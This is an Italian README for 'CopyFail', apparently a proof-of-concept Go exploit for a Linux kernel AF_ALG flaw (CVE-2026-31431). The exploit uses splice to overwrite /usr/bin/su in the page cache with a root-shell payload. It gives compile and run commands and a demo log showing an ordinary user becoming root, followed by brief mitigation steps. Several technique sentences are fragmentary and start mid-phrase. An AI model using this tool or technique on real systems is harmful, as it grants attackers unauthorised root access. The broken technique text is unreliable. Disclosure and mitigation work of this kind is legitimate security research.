
Proof-of-concept exploit per CVE-2026-31431, una vulnerabilità di corruzione della memoria AF_ALG nel kernel Linux. Utilizza splice per modificare /usr/bin/su nella cache di pagina, consentendo l'escalation a root senza password.
CopyFail è un exploit proof-of-concept per CVE-2026-31431, che mira a una vulnerabilità di corruzione della memoria nella Linux Kernel Crypto API (AF_ALG). L'exploit sfrutta la chiamata di sistema splice per eseguire una modifica non autorizzata della page cache del binario /usr/bin/su, consentendo un'elevazione a root senza password.
La vulnerabilità risiede nella gestione da parte del kernel Linux dei trasferimenti di dati zero-copy tra socket AF_ALG e altri file descriptor tramite splice. A causa di una sincronizzazione o di controlli dei limiti inadeguati nell'implementazione di aead, i dati elaborati dal motore crittografico possono essere riscritti nella page cache del file sorgente.
AF_ALG e utilizza sendmsg per accodare un payload dannoso nei buffer interni del socket.splice per trasferire dati dal binario /usr/bin/su nel socket AF_ALG, la vulnerabilità causa la sovrascrittura della page cache del binario in memoria con il contenuto del buffer del socket.su con un payload ELF minimale che genera una shell root. Poiché la page cache viene modificata, le esecuzioni successive di su eseguono il codice dell'attaccante invece del binario originale.RawSyscall per tutte le interazioni con il kernel.AF_ALG/splice.fmt o os).Compila l'exploit per l'architettura corrente:
go build -ldflags="-s -w" -o CopyFail CVE-2026-31431.go
Esegui il binario compilato:
./CopyFail
Al termine dell'esecuzione riuscita, il binario su verrà modificato in memoria ed eseguito, garantendo una shell root.
La seguente dimostrazione mostra l'exploit compilato ed eseguito su un'installazione standard di Kali Linux.
# 1. Verifica dell'utente non privilegiato corrente
kali@kali:~$ whoami
kali
# 2. Compilazione dell'exploit
kali@kali:~$ go build -ldflags="-s -w" -o CopyFail CVE-2026-31431.go
# 3. Esecuzione dell'exploit CopyFail
kali@kali:~$ ./CopyFail
[+] Triggering AF_ALG memory corruption...
[+] Patching /usr/bin/su in page-cache...
[+] Executing patched binary...
# 4. Successo: Elevazione a shell root
root@kali:/home/kali# id
uid=0(root) gid=0(root) groups=0(root)
root@kali:/home/kali# whoami
root
Per mitigare questa vulnerabilità, si raccomandano i seguenti passaggi:
af_alg e correlati:
modprobe -r af_alg
auditd) per monitorare chiamate splice sospette che mirano a binari di sistema sensibili.⚠️ Avvertenza: Questo strumento è destinato esclusivamente a ricerca sulla sicurezza autorizzata e scopi educativi. La modifica della page cache è un'operazione volatile e può causare instabilità del sistema. L'autore non si assume alcuna responsabilità per un uso improprio.
CVE-2026-31431 ("Copy Fail") è stata scoperta e divulgata dal team di ricerca di Theori.
Questo progetto è concesso in licenza sotto la MIT LICENSE.